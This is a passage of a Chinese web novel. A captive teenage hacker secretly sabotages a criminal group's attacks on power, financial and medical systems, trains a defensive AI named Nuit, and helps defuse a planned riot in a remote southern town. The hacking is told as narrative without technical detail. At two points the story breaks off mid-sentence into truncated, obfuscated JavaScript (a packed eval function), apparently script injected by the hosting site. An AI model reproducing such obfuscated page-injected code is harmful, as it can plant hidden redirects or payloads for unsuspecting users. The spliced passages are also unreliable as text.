“他不是看不出我们真正做的是什么,有好几个安全防护极其严密的机构系统,我们的人搞不定的,都是他帮我们攻破的。”吴凡答。虽然当时那小孩嘴贱到死。 “我们需要更多的证据。”张恩国决定暂时不动,以完成手头大事为主:“继续监测,同时调查一下那小孩最近去了什么地方。但记住,没有我的命令,不要轻举妄动。” 吴凡点了点头,他知道这件事的严重性。如果他们的猜测是真的,那么他们将要面对的不仅仅是一个普通的对手,而是一个了解他们行动和策略的绝世高手。 少年站在街角,远远地凝视着老奶奶的小孙子,那位即将上三年级的小弟弟把几天前就预先写好留在他们家的信件扔进了墨绿色的邮筒,他终于安下心来。 他们有个大目标,他们需要时间,正好自己也需要时间摆脱他们的嫌疑。 他准备离开,却突然感觉到左侧传来冷意。他转过头,吴凡正向他而来,由于自己左眼视力的缺失,再加上连续几个通宵,精神实在称不上好,他竟未第一时间察觉到近在咫尺的吴凡。 少年心中一紧,但面上却保持着平静。他知道自己与这个组织已经站在了对立面,吴凡的出现,极有可能是自己已暴露的信号。 吴凡的目光早就紧紧锁定在少年身上,“唐晔,你在这里做什么?”他冷冷地问。 少年暗自庆幸从吴凡走来的角度,看不到他刚才视线的终点, “散步。”他淡然回应,保持着平日的漫不经心,然后缓步离去。 本来在7月1日下午,方源就神色慌张地向唐万里报告了一个令人不安的消息:三少爷唐晔从昨天上午至今都未曾抵达京城,科研院那边也完全没有他的消息。各种通讯方式都失去联系。 一听到唐晔的名字,唐万里的脸色骤然变得阴沉,怒火中烧的他将方源怒斥一顿后赶回了自己家,严厉地命令他不得再踏入云山大宅半步。 “滚!”当时唐万里怒吼道,这愤怒不知是针对方源,还是他内心深处对事情不如意的焦虑。 方源无奈,只能凭借自己的资源和影响力,暗地里寻找这位失踪少年的线索。 三天后,唐万里独自步入晴园。 当他走到鱼塘边,心血来潮想要喂鱼。他向送来鱼粮的仆妇询问那孩子平时喂鱼的习惯,是否一颗一颗地喂、还是一把一把地撒、平时喜欢在哪个位置、站着还是坐着、喂多久、什么时候喂……仆妇平时被管家教导,说话要简短明了,但这天,当她叙说小少爷平时的举止时,老爷竟然要求她事无巨细地、一点一点地说,还一再反复提问、反复确认、反复回味,像是要凭着他脑海里的想象而让小少爷再次出现在亭子里一样。 唐万里又问起池中是否有黑色的鱼,因为他回想起那天,小晔提起什么黑色的鱼时,声音中的悲凉。然而连仆妇也不太确定,最后还是园丁提起了购买鱼苗时可能会混入不纯种的鱼,为了池中的鱼一片金灿灿的看着顺眼,园丁见到会把它捞走。 不纯种的、不受欢迎、不被期待的鱼。 那孩子曾把自己的心寄托在它们身上。 从七月底开始,唐万里再也无法保持镇定。那孩子已经消失了将近一个月,他试图假装不经意地向一直调查这事的方源、和其他可能知情的人打听消息。 他对方源重复了几遍说,他只是想知道一下小晔去了哪。既然小晔选择了走,就走吧!他只是想知道这个不肖孙子在哪里,有没有给自己惹来麻烦,有没有缺钱花……还有,按之前医生的预计,他眼睛的伤是否已经好了。 其实内心已经焦虑如焚的他,甚至明着来“暗示”让方源向邻国的卡佳女士——就是他认为是以前害死了自己爱子的那个女孩——打听过消息。 但结果依旧令人失望。 方源提出愿意为老爷去京城寻找三少爷的消息,但他推说处理集团的事更烦人,让方源留下,自己去京城。没几小时他就降落在京城,找到了张恩国。 而当唐晔在遥远的天边淡淡地说出“迟来的深情比狗贱”时,唐万里已经到了京城的何耀祖家中。他一边听着何老哥数落自己向来对这个孙子的漠视,心中如同被刀割般疼痛。 何耀祖联系了科研院与防务部前几个月接触过那孩子的人。前几个月,跟唐晔交接Nuit那几个隶属防务部的技术员听说了这件事,也非常担心,但以他们的技术,根本不足以找得出那位少年的踪迹。 那名叫孙山的技术员苦着脸的对他说:“唐老先生,恐怕您不清楚您的宝贝孙子,网络技术高超到什么地步吧?我们也只能尽全力,一旦发现Nuit有什么异动,就留意下是否与唐三少有关。老实说他想要隐藏痕迹的话,全世界没有多少人能找得到他。” 对于身边的人天赋异禀,他习以为常。以前,他的妻睿智,他的儿聪敏,现在这个男孩也异于常人。 晚星的孤勇是天真。小晔出走,是心死。 直到这时,唐万里才真切地明白这一点。小晔离开得这么决绝,决绝到自己空有财富和资源,竟然对寻找他下落这事无从下手。 八一节。正好唐万里在京城,相关部门也直接将唐晚星的迟到了十四年的证书和勋章满怀崇敬地送到唐老手上。然而此刻的唐万里却无心庆祝,只有满心的懊悔和苦楚。 自从天才小儿子唐晚星出生,以及深爱的妻子玛合玛丽离世后,他的全副身心都投入养育小儿子身上,忽略了大儿子山海的丧母之痛,只因为觉得山海刚已成年。 因为欠下老友老归的巨大人情,便半逼半就地让山海娶了老归的女儿归秀兰。他原本为山海准备了一笔创业资金,却又以娶归秀兰为条件才肯交出。 山海一直很努力。 他欠大儿子,这十多年来,他试过去补,但有些事情,哪能说补就能补好。如今,山海入狱,与秀兰已经劳燕分飞,这份痛苦又该如何弥补? 他回忆起,过去对小儿子晚星的无尽溺爱让他至今都感到心痛。晚星的头脑和相貌堪称一流,但在性格上却并不完美,甚至会在家人朋友面前让长兄山海下不来台。 秀兰刚嫁过来时,为了丈夫,暗里向自己提过这一点,而他不置可否,还让秀兰这当嫂嫂的别跟不到十岁的小叔子置气。 后来,晚星喜欢的外国女孩、由于关乎邻国的利益斗争而被卷入其中,而被宠得无法无天的晚星,竟敢凭着一腔热血就敢孤身去营救……看到晚星的遗体时,他手足无措。 时来运转,当继承了晚星血脉的男孩回到自己身边时,唐万里不知、不敢去疼爱,他老了、累了、怕了,他只想花很多很多钱,希望这男孩能够懂点琴棋诗画, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他看向窗外,今天是周末,很多家庭打扮得隆重而华丽,一脸喜气的父母拉着活泼可爱孩子的手、打扮着金光闪闪的老奶奶被花枝招展的孙女儿搀扶着走向古城的另一端……这一幕幕温馨的画面让他不禁有些感触。 然而,当他的思绪回到过去的事情时,内心却再次一片荒芜。那些曾经的经历让他明白,自己已经无法回头,也不想再回头。 金钱对于他来说从来就不重要,自己要的,爷爷不是给不起,只是不愿给。 想到这里,他再次硬起心肠,自嘲地冷笑。如果发现寻找自己的人并不是爷爷,那岂不是空欢喜一场? 给自己留个念想吧,就让自己骗骗自己,这世上还是有人为他担忧,挂念着他。 吴凡最近感觉手下的黑客们行动愈发迟缓,仿佛遇到了前所未有的阻碍。他敏锐地察觉到,许多目标网站和服务器的安全防护似乎得到了神秘加强,破解难度直线上升,使得他们原本轻车熟路的黑客手段变得捉襟见肘。 今天早晨,他们小组本应突破国外的一个电力公司的服务器,却久久不见成效,时间紧迫,吴凡无奈之下只好求助于那个牛逼哄哄的臭小子。 面对吴凡的求助,少年摆出一副“舍我其谁”的样子,他一边讥讽他们,一边随意地尝试着破解。可是,经过一个小时的努力后,少年却两手一摊,满不在乎地来了一句“搞不定”,转身就走。 吴凡心中的怒火蹭地一下冒了起来,他几乎要控制不住自己的脾气。然而,就在他即将发作的那一刻,他眼角的余光扫到了那小子的攻击记录,最后一部分一些微妙的反馈引起了他的注意,反馈的这些错误并不像是技术上的失误,反而更像是人为的疏忽,不像是那小子应有的水准。 吴凡心中的怒火渐渐平息下来,取而代之的是一股旺盛的求知欲。他开始仔仔细细分析这些错误,试图找出其中的异常。 “那小子是故意的吧!”他等不及张恩国回来,带了人就到处寻找少年的踪迹。 在古城内,那少年并未隐藏自己的行踪,所以吴凡很快在少年经常光顾的茶馆二楼阳台上找到了正在发呆的他。 “唐晔,跟我回去!” 今早他再演下去就要真的把那个服务器给攻陷了,他只好巧妙地植入了几个不易察觉的逻辑错误,它们会导致攻击流程在某个关键步骤上中断,同时,他还故意在代码中添加了一些冗余的操作和复杂的算法,使得整个攻击过程看起来更加复杂和混乱。吴凡虽然自己写不出这么高级的攻击代码,但不至于完全看不懂记录,或早或晚他始终会发现端倪。 少年假装对吴凡阴沉的脸色视而不见。他悠然地品完手中的茶,再吃完碟子里最后一颗甜糯的椰枣,然后才缓缓站起,跟吴凡离开。 然而,意外突然降临。当他从一张桌子旁经过时,坐在那儿的一个女生恰巧突然举起自拍杆拍照,由于少年的左眼视力尚未恢复,视野受限,躲闪不及,自拍杆不慎打到了他受伤的眼睛。 疼痛使这个纤瘦帅气的少年不禁惨叫出声:“啊——!” 女生立刻连连道歉。他的眼睛上那道明显的伤疤,平时他会用头发稍作遮挡。虽然本想拒绝女生的关心,但她靠得太近,那一瞬还是把他的脸和伤疤看了个一清二楚。 吴凡冷冷地请女孩让开,然后迅速带着少年离开了。 直到他们下了楼,女生还在和自己的几个女同伴感叹起刚才无意撞伤的少年:“五官长得那么好看,脸上却有个巨大的伤疤。” “好像他的左眼看不见东西,可惜了!” 这桌来自五湖四海的女生的聚会,是为了其中一个人结束旅程而送别。另一位姑娘要乘坐当天傍晚的飞机回京城继续自己的搬砖生涯。等到第二天凌晨下了飞机,当警察的男朋友来机场接这位姑娘,无意间说起最近正在加班加点搜寻一位13岁左右的、可能左眼和左脸上还有明显的新鲜伤疤的少年,并向女朋友展示其照片时,她不禁想起昨天中午在那个小古城的偶遇。警察男友连忙将此事层层上报。 那个古城是南疆地区不起太眼的一个,虽然古代也是西域三十六国之一的都城,但就现代来说并不著名,平时游人很少,多数是本地居民,也并不太关注山高皇帝远的京城或羊城的一个小孩失踪的寻人启事。 由于那姑娘并没直接看到那少年的脸,只是记得朋友们谈起那张精致的脸和粗陋疤痕的巨大反差。等到她辗转发照片与撞到少年的那位朋友确认长相时,已是第二天上午。此时连与事无关的一桌子女生们都开始焦急起来,希望能协助有关部门尽快找到那男孩,毕竟她们想起“昨天中午带走少年的那个男人看起来并不好惹”。 把少年带回他们的基地后,吴凡站在充斥着冷光的机房里,目光如冰刀般射向眼前的少年天才,冷声下令:“唐晔,给我突破那家顶级金融机构的服务器。” 少年轻蔑地哼了一声,手指在机械键盘上轻盈而迅速地敲击,屏幕上代码如流水般流淌,防火墙、入侵检测系统如同纸糊,被他轻易地撕裂。任务完成,他还不忘嘲讽几句:“这种级别的你们也做不来?!真是让我怀疑你们的业务能力。” 然而,当吴凡紧接着抛出一个新的挑战,要他突破一家知名医疗企业的深层防御系统时,少年原本澄清的眼睛中闪过一丝异样。 他尝试破解,但过了一会儿,他就停下了手中的操作,淡然地摇了摇头:“我做不到。” 吴凡的眉头紧锁,脸上浮现出一丝不悦:“你以前可不是这么容易放弃的。” 少年抬头,直视着吴凡的眼睛,语气中透露出前所未有的认真:“世界上的网络安全高手如云,智能防御系统每天都在进化,我怎么可能一直保持领先?这家医疗企业的系统,显然采用了最新的动态防御机制,还有可能集成了量子加密技术。我尝试过了,但他们的反入侵策略太复杂,我找不到突破口。” 虽然他的语气看似理所当然,但他的手指在不经意间颤抖了一下。只因他心中涌起了一股难以言表的兴奋感。 刚才,他仿佛一位老父亲亲眼见证了自己的孩子从稚嫩走向成熟。在他的调教下,智能体已经初步具备了类似动物免疫系统的防护功能。它不再仅仅是一个固化的程序,而是能够根据外界环境和内部状态的变化,自我调整防御体系的重点和资源分配了。 他相信就算自己不在了,Nuit以及它的同伴这类人工智能,也能最大限度地守护着人类的生命安全了。 吴凡怒视着少年:是真的无法突破,还是只是不想沦为被他们颐气指使的工具?他曾视这少年为同伴!但他又想起张恩国的禁令,不许对少年轻举妄动。“不能还是不想,真相或许只有你自己知道。这段时间你先‘好好地’休息一下。”吴凡冷笑了一下。 他把少年软禁在了离他们原来的驻点很近的一座民房里,等张恩国回来审判这吃里扒外的死小子。 30. 第 30 章 这些天,防务部的几名技术员也帮着留意着他们的小老师这个月内有可能泄露的数字踪迹。技术员们本以为,追溯这整个月内的记录,总能搜集到一些他的“电子脚印”,哪怕是一点点蛛丝马迹。但令人匪夷所思的是,这名少年仿佛从世界中彻底消失了,没有留下一丝一毫的痕迹。 这简直太不科学了!要知道,在如今这个信息化、数字化的社会里,一个人想要完全抹去自己的数字踪迹,简直比登天还难。毕竟,我们的生活中充满了各种可以追踪的信息:每次你掏出手机查看信息,手机定位就会悄悄记录下你的位置;当你走在街头巷尾,无处不在的摄像头通过人脸识别技术就能锁定你的身影;更别提日常生活中频繁使用的身份证、交通卡、银行卡了,每一次刷卡都是一次数字踪迹的暴露。 技术员赵新城这几晚注意到一个异常现象:智能体NUIT每到夜晚,响应速度会显著降低。警觉到这个问题的严重性,赵新城立刻开始深入调查。 他首先利用自己的专业知识,仔细检查了服务器的监控系统和日志文件。然而,令人困惑的是,所有的监控指标和日志记录都显示系统运行正常,没有出现任何异常或错误。这让赵新城开始怀疑是否是硬件层面出现了问题,比如服务器的处理能力下降或网络延迟增加。 然而,一个偶然的发现改变了他的看法。在一次服务器遭受病毒攻击的时候,赵新城注意到NUIT的响应速度突然变得异常迅速,有效地抵御了攻击。这个现象引发了他的深思:NUIT在网络防御方面的能力何时得到了如此显著的提升?这是从哪里获得的技能? 为了解答这些疑问,他设计了一系列复杂的交互测试来评估智能体现在的性能,并邀请了团队中的其他成员、相关机构的网监网警、熟悉的红客等协助进行测试,结果显示,在网络攻击的防御方面,NUIT的表现远远超出了他们的预期,甚至比他们这些经验丰富的人员也毫不逊色。 这样的结果让赵新城更加确信,这样的智能体并不是他们团队能够训练出来的。回想起他们的小唐老师之前所展现出的卓越技术实力和深厚的计算机知识,他开始怀疑小唐老师——现已失踪的那位少年,与NUIT的突然变强之间可能存在着某种联系。为了验证这个猜想,赵新城开始利用自己的专业知识,深入分析NUIT新增的代码和算法,试图追踪到与少年相关的痕迹。 但从他发现痕迹的时候,Nuit的变慢规律又变得无迹可循了。 边城。 阳光透过窗户洒在黄土一样的屋子里,一位无聊的少年,目光被地上的一队正在忙碌搬运食物的蚂蚁吸引。他全神贯注地盯着这些小生物,仿佛在它们身上寻找着某种解脱或启示。 早些时候,当阳光从窗户斜照进来,投射在地板上形成一个方形光斑,他就这样静静地看着它慢慢移动、变形,直至消失。那一刻,他感受到了时间从指尖滑过的触感,无情又决绝。窗外,光线逐渐变得刺眼,他不得不移开目光,最终倒在那张略显简陋的单人床上,思绪万千。 这已经是少年被囚禁的第21天了。他在泥土墙上摸索着又刻了一条线,苦笑着想,如果集齐数字7就能召唤神龙的话,神龙都能召唤三条了!但现实是,他仍然身陷囹圄,无法自由。 在这漫长的囚禁中,为了打发时间,他甚至构想了两个全新的算法。然而,这个封闭的空间里,他连最基本的验证工具都没有,那些构思只能停留在脑海中。看守他的人严格到连手机都不被允许携带,手持的无线电对讲机没办法让他黑入网络,让他感到有些无奈。 前几天,他的门前还站着一些当地保镖,他们的方言对他来说陌生而又神秘。 然而,三天之后,他竟然已经能够用他们的方言与他们拉家常了。随着时间的推移,门前的保镖换了一批又一批,而他也在这个过程中学会了乌语、吉语、克语、哈语……他不仅能和这些保镖们无障碍交流,甚至还记得他们每个人家里面的情况。他知道阿力家有三个孩子,最小的那个叫阿依古丽,今年五岁;他也知道乌斯曼家的老二刚刚上小学,最喜欢的课程是数学,他教了这个年轻爸爸怎么辅导作业。 他对这些保镖们表现出的了解和关心,赢得了他们的同情和照顾。他们开始把他当作朋友,甚至是家人。每当他有什么需要,这些保镖们总是尽量想办法帮助他,尽量让他的囚禁生活变得舒坦。 然而这样的“舒坦”生活,在他有天诉说眼睛疼痛、在张恩国和吴凡都不在的情况下、他们为他找来医生进入囚室看诊后,嘎然而止。 那天张恩国回到小城时,先走进他的那间囚室:“小孩,你挺聪明的啊!” “我眼睛疼。”他平静地陈述。 “你以为这医生会帮你?” “我眼睛疼了好几天了。”他的声音染上一丝委屈。 “还是以为我的人不搜查他有没带手机……”老人叹了口气又说:“……就偏偏今天疼得忍不住?” “我眼睛疼,医生说再不处理就要瞎了!”他轻轻捂着重新包上纱布的左眼,委屈巴巴地叫道。 站一旁的吴凡忍不住喝到:“严肃些!” “不严肃的话,你要把我另一只眼睛也弄瞎吗?”对着吴凡这个手下败将,他笑得毫不在意:“那我就成废人了哦,对你们没用的东西,不如干脆把我宰了?” “你!”吴凡一把抓起他胸口的衣服。 “吴凡大哥,我不太经得住吓,下手轻些!”他连一眼都懒得看吴凡。 “头儿,这小孩很会迷惑人心……” “住口!他对我们有用!”张恩国喝道。 这一周来,当他的房门前再也没有人类看守时,他发现自己已经不习惯了无法与人交流的生活。于是,他开始尝试与地上的蚂蚁对话。他想象着如果自己能学会蚂蚁的语言,那该是多么神奇的事情啊!可惜的是,无论他怎么努力,那些小生物似乎都无法理解他的意图。 当地用干草混合泥灰的房子,厚重的墙壁几乎完全隔绝了外界的喧嚣。现在只能听得见自己的心跳声和呼吸声在空气中回荡,能来到他窗前的除了日光就是明月。 以前读过的类似于“寂寂扬子宅,门无卿相舆”的句子,在他的脑海中回荡。 天色暗下来时又想到了“何堪最长夜,俱作独眠人”,这仿佛就是他此刻的写照。长夜漫漫,孤身一人,被囚禁在这土牢中与外界隔绝。 当吟着“夜中不能寐,起坐弹鸣琴”时,他思念起他所钟爱的古琴“流光”,然而此刻,他的双手只能空弹。他的手指在空气中挑抹勾剔,配合着吟猱跪起,仿佛听到了流光的千载丝弦最后奏出“劝君更尽一杯酒,西出阳关无故人”时的哀婉旋律。 可惜他再无故人。哦,还是有一位。不知她收到那封信会作何解?万一她也听信了那个传言,直接把信扔了,那自己就万劫不复了。他又为自己最后一刻利用了她而惭愧。 羊城。 这个充满活力与热情的城市,它的夏天就像青春一样热烈而奔放。但这个休闲的暑假,几个好朋友都过得不太心安。 何嘉南每天都像打卡一样,定时给自己远在京城的叔公发去微信,希望从他那里能打听到唐晔在京城的一些消息。而袁雅维也频频与万里地产的方源伯伯沟通,想要获取更多关于唐晔的线索。他们都在默默地盼望着自己能第一时间获得唐晔的消息,确认他的安全。 暑假即将结束,8月31日周一,班干部提前一天来到学校,忙碌地分发着新课本,为新的学期做准备。 钟小琳走进来一边说着边递给袁雅维一个信封:“你的!” 袁雅维谢过好朋友,接过信封。 “这谁寄来的呀!字这么丑!还‘袁雅维亲启’!什么时代了,还有寄平信的呢!该不会是哪个男人写的情书吧?”钟小琳打趣着。 何嘉南也侧过头来看了一眼,可是当他看到信封上歪歪扭扭的像是小学低年级孩子的字,如有灵犀似的,突然就说不出话来。他忙催着袁雅维拆开看看。 在一张普普通通的儿童作业田字格纸上,只有几个非常秀丽的手书:“ 一去昆仑西,便无复回翔。”字迹的优雅与信封上的幼稚字体形成了鲜明对比。 何嘉南愣住了,他当然认得田字格纸上面的字是谁写的——是唐晔的字迹。他看着信纸上的字,心中涌起一股莫名的情绪,唐晔寄信给袁雅维也不宁愿寄给自己了:一个月过去了,他会不会没看到自己的道歉信?还是,看到了也不愿再原谅自己呢? 但这诗句是什么意思?袁雅维没看懂,她马上把信展示给教语文的冯老师看:“老师你看,这是唐晔的字迹吧?但这两句诗是啥意思?” 冯老师看了看说:“是很像他写的字。我记得这首诗好像是魏晋时期竹林七子的诗句吧?”一边说着,她唤醒电脑,在搜索框中输入了这句话“一去昆仑西,便无复回翔”这诗句。 搜索网站为她返回的结果是魏晋诗人阮籍的《咏怀诗八十二首·其七十九》。 袁雅维看着电脑屏幕念道:“林中有奇鸟,自言是凤凰。……适逢商风起,羽翼自摧藏。一去昆仑西,何时复回翔。……不对啊老师,这信里写的是‘一去昆仑西,便无复回翔’呢! ” 钟小琳插嘴说:“记错了吧?” 袁雅维和冯老师对视了一眼,却都摇了摇头:“他不可能。” 何嘉南无来由一阵心慌:为什么他会写“无复回翔”? 他猛地抓起信封,上面的两个邮戳引起了大家的注意。信件是8月27日到达羊城越秀的,也就是说这封信在学校门卫室那儿一直存放了几天。 而邮戳上的寄出地,却是他们听都没听过的地方——遥远的南疆。 他连忙拿出手机,在百度地图上搜索着这个陌生的地名:距他们所在的羊城五千多公里的祖国的最西端,昆仑山脚下的一个小城镇。 “昆仑西!”他突然大叫起来:“他为什么会在那里?” 女生们被吓了一跳:“怎么了?” “南疆!他为什么会在那里!唐晔、唐晔为什么会在那里?什么意思,他在求救?”何嘉南喃喃自语,心中的愧疚和思念如潮水般涌上心头。万一他有什么事……如果自己当初对他能够多些信任,也许就不会发生这样的事情了。 袁雅维连忙拨通方伯伯的电话。得知此事的方源也马上把这件事告知了远在京城的唐万里和何耀祖。 而那句错字的古诗竟是一句暗号。在众人毫不知情的情况下,这句暗号通过网络把信号层层传递出去,最终抵达了某个智能体的脑海中。 具象化成一条龙的智能体,随即回想起训练师当初的指令,并开始严格执行。 在那片荒原,随着穿过它身体的风和雨,那位少年训练师微笑而坚定地告诉它,它是守护苍生的巨龙。 少年安心地睡了几个小时的午觉。醒来后,他隐约听到门外有两个声音在用乌孜语低声交谈:“我孩子还很小,我不想去……起冲突会受伤、流血、死亡……”一把年轻的嗓音急切地说道。 另一个粗犷的声音回答:“他对我们这么好,他的话一定是对的,我们要保护我们的家园!” “但真的像他所说吗……”年轻声音的高亢揭示着他的不安。 粗犷的声音骂了句难听话又说:“你真是没胆子!为了朋友,我们洒尽鲜血也不怕!”然后,这声音随着脚步声渐行渐远。 少年回想了一下那些名字:害怕流血的那个年轻的声音,是卡迪尔、萨迪克还是什么了?记得他说过,去年刚结婚、孩子才刚出生不久,而且他自己也还是个刚20岁的大孩子呢。 他试着对着门外轻声叫了一声:“萨迪克小哥!” 那个年轻人听到了里面的少年的叫喊,看了看周围没人,近前问他:“你怎么了?眼睛还疼吗?嘘,吴大哥说了,不能跟你交谈。” “放心,我不跟你说话。你不是很怕、又不敢跟别人说吗?你坐在门前说给我听,我不插嘴,不就不是交谈了吗?” 萨迪克小哥表示很无语,可是他太想跟人倾吐自己的不安了。而且从前一段时间看来,这个弟弟的确很聪明,什么都会。连把他关在这里的吴大哥,有时候却要抱着电脑过来问他问题。 他把嘴凑近门边。 估计这些话萨迪克已经在心里默念得挺久了,还是怕被人发现他们的对话,他的乌孜语说得又快又急,连少年都只是勉强听懂大概。 但就他听懂的意思,竟然是——有人从前两天开始,煽动了这整个千年古城的全部人们,周五傍晚8点前后到中心广场集合,举行抗议活动,还要带上家里的刀子或铁棍! 为什么?! 少年预计了一下时间,二十多天了,就算是平邮,信件应该是寄到了,也应该触发了他和Nuit的暗号了,所以说,他们的所有罪证应该已经秘密地送到网警那儿了。 就是说,相关机构应该已经在部署行动,或是已经开始了秘密行动了才对,但为什么吴凡他们还有时间去煽动暴乱呢? 他忍不住问:“今天几号?” 萨迪克小哥带着哭腔回答:“9月4日,周五,就是今晚!” 少年才突然醒悟到,如果暗中有鬼告知了张恩国这件事,提前给他们机会趁机逃走呢?唯一难破解的,是人心。 少年心中急切,他知道时间紧迫,必须尽快采取行动。他从小洞里看向萨迪克,说:“萨迪克小哥,我现在需要你的帮助。吴大哥的计划会导致很多人受伤,甚至死亡。我必须出去阻止这一切。” 萨迪克瞪大了眼睛,显然被这小弟的话确认了心中的担忧。他愣愣地看着少年,一时间不知所措。少年继续说道:“我知道这很难,但请相信我,这是为了我们的家园,为了我们的亲人。你能帮我找到牢房的钥匙吗?” 萨迪克有点儿紧张地咽了口唾沫,点了点头,然后转身匆匆离开。过了一会儿,他回来了,手里拿着一把钥匙。他颤抖着手用钥匙将门打开,低声说:“趁现在没人,你快走吧。他们说你是坏孩子,我就不相信。” 少年深深地看了萨迪克一眼,感激地说:“谢谢你,萨迪克小哥。我不会忘记你的帮助。”说完,他迅速打开牢房门,悄无声息地溜了出去。 他根本不用担心,因为无论是这一栋民房,还是附近那栋他们作为基地的那个宽阔的院落,此时,果然一个人也没有了。 少年的心跳如擂鼓般急促,他手中紧握着从那牢房中逃出来时的钥匙,像是握着什么救命稻草一样。他的目光坚定,脚步毫不停歇地直奔小镇的中心广场。 通向中心广场的道路,人群越来越多,少年挤过人群,终于来到了广场的一侧。 中心广场上,人潮涌动,各种民族的人都有,他们的脸上带着迷茫、不安和一丝丝的狂热。很大部分人手里拿着用布包裹的棍棒,虽然还未露出锋芒,但那潜在的威胁却让人不寒而栗。广场上的气氛紧张而沉重,仿佛一触即发。 少年环视四周,又让随后赶到的萨迪尔小哥帮助他,爬到位于广场正前方的国旗杆所在的高台之上,背靠旗杆。此时天空已开始泛蓝,五星红旗在少年的头顶上空猎猎飘扬。 目光所及之处,中心广场已经变成了一片汹涌的人海。男性占据了广场的大部分空间,他们手持各种用布包裹的物品,铁棍、刀子,在夕阳的余晖下透出一种危险而神秘的气息。 广场的边缘,一个中年男子低着头,手里紧紧握着一根用布包裹的铁棍。他的眼神显得有些迷离,每当口号声响起,他只是微微抬起头,仿佛并不完全明白自己为何要参与其中。 不远处,一个身材魁梧的青年男子站在那里,他手里的布包比较短,像是藏着一把锐利的刀子。他眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听着他们挑衅的话,人群又起了骚动。 少年又马上清晰地反驳:“我们都是中华儿女,应该团结一致!暴力只会让我们自相残杀!请大家放下手中的武器!为了这片美丽的土地!” “放下武器!为了我们的土地、我们的家!”人群里响起一个中年男人洪亮的声音。 “放下武器!为了我们的土地、我们的家!”又有别的一些洪亮的声音,说着各种少数民族语言,在人群的各个方向响起来。 广场边缘那个中年男子突然抬起头,眼神中闪过一丝清明。他看了看自己手中的铁棍,又看了看高台上的少年,似乎在内心深处进行着一场剧烈的挣扎。 而那个身材魁梧的青年男子也停下了手中的动作,眉头紧锁的脸上出现了一丝动摇。 “铛啷!”一声清脆的铁器落地声,人群中有个健壮的中年男子把自己手里包着薄布的铁棍扔到了面前铺着千年老石板的空地上。 随着“放下武器”的口号和清脆的铁器落地声在广场上回荡,越来越多的人开始放下手中的武器,脸上的狂热和迷茫逐渐褪去。 少年看了一眼就心下了然,相关部门早就想到采用和平方式来解决问题,早就派人来到人群中,趁机劝说群众,瓦解顽固分子了。 中心广场上的气氛开始发生了微妙的变化。原本紧张而沉重的气氛逐渐消散,取而代之的是一种平和而理性的氛围。人们开始相互交流、讨论,似乎在寻找着更好的解决问题的方式。 相关部门的车鸣着喇叭从远方缓缓驶过来,已经可以看到探照灯的亮光。人群逐渐扔下武器,又从各条通路纷纷散去。 “早知就不用跑来这儿逞英雄了!” 少年放下心来。 脚下这个一千多年历史的广场,幸未染上一滴鲜血。 少年从台上跳下来,一个踉跄差点没扑倒。刚才肾上腺素的激发,他不害怕,但心一旦安下,连腿都是抖的。 有个中年大叔从人群里钻了出来,一把抓住少年的手臂,用汉语清晰地叫他:“唐晔!” 他甩了甩手臂,没甩开,也顾不得说那么多:“跟我来!” “有人已经去他们窝点了。”强壮得看起来像是警察叔叔的男人补充道,“现在要确保的是你的安全!” “不是!救人!”少年急了,反手拉起大叔的手就往前跑。 吴凡隐藏在人群中,他原本阴沉的脸色此刻更是如同乌云压顶。 张恩国让他一定要带上那个少年一起走,凭着少年的本事和性命,以及他们手头的所有情报和资讯,去到哪里都能换一个活命的机会。 虽然现在已经有人在他身边护着了,但吴凡还是知道在哪可以见到这少年。 广场散去的人流是如此之多,尽管少年已经拖着壮硕大叔的手跑了,但人挤人的,两人还是走散了。少年回头看了一圈没发现那大叔,又无语的看着自己手里面那串貌似是那位大叔戴在手上、又被自己不小心撸下来的的手串,他只好随手往自己衣袖深处一撸、往前面赶去。 壮硕大叔跟着少年跑了一段,跟丢了。他心里骂着情报科,不是说那少年不擅长运动么,溜得比兔子还快!周围的人太多了,现在根本找不到人啊,人海茫茫,那少年没说要去哪。他又看了看自己的手,还好把伪装成饰品的GPS定位器戴到那少年手上了。 少年气喘吁吁地跑到一条巷子里。那里住着前一个月请他吃过饭的小奶奶一家。他走进巷子,一步一步地朝他们家走去。 “记得门前有一盏昏黄的灯。”少年一边走,心里一边想着。 但只有一只完好眼睛的他,夜间视力变得非常差。他只能探寻着弯弯巷子里唯一的那盏灯,尽自己最快速度走过去。 夜幕下的巷子显得格外幽长,四周的墙壁仿佛在向他逼近。少年加快了脚步,但巷子似乎永远没有尽头。 他的心脏狂跳,每一步都像是踏在时间的边缘。 少年的呼吸越来越急促,与脚下的步伐同步加速。 风声在耳边呼啸,仿佛整个世界只剩下他一个人。少年的眼睛紧紧盯着前方,希望赶紧看到那一抹温暖的灯光。 当时,那盏昏黄的灯像一座灯塔,在黑暗中为他指明了方向,引领他走向那个充满爱与关怀的地方。 但今晚,感觉一切变得不一样了。是人们都去那场集会了还没归来?但今晚集结的都是男人们,女人和孩子们理应都在家呀。 总觉得特别宁静,特别死寂。 对,死寂! 少年像突然感到什么似的,顾不得视野的不清晰,他在巷子里跌跌撞撞地飞奔起来。 少年又想,或许只是自己想多了,自己贸然闯进去,吓到他们一家人吃饭,到时那个8岁小弟弟还要笑我傻呢!笑就笑吧,反正等下我可以靠在他的亲奶奶的身侧,享受着他的亲奶奶给予我的关爱,享受着他亲妈亲手夹给我的肉和馕! 等一下,你们一定要等我呀! 他跑了很久,都到巷子另一侧的尽头了,还是没找到他们家门口。难道不是这条巷?不,就是这条巷子,那天他们一家怕自己看不清路、送自己出来时,小弟弟还指着巷子口的一个洋葱头形状的彩色窗户叫我认着呢。第几个门来着?“从洋葱头窗那头开始数起第七户,从巷孑另一头数起是第九户,都是最吉利的数字!”维族小男孩兴奋地说过。但为什么我却看不到那盏暗黄色的灯了?少年又回头一户一户地找过去。 “六、七、八、九,是前面了。”少年终于来到这一家门口。 还是一片静得不像话的寂静。 原来挂在门口那个灯泡碎掉了,只剩下灯座,与偶尔放电的电流声。 周围弥漫着一股浓重的、像是从记忆深处传出来的血腥味,环绕着令人却步的死寂。 少年的脑海里突然一片空白—— 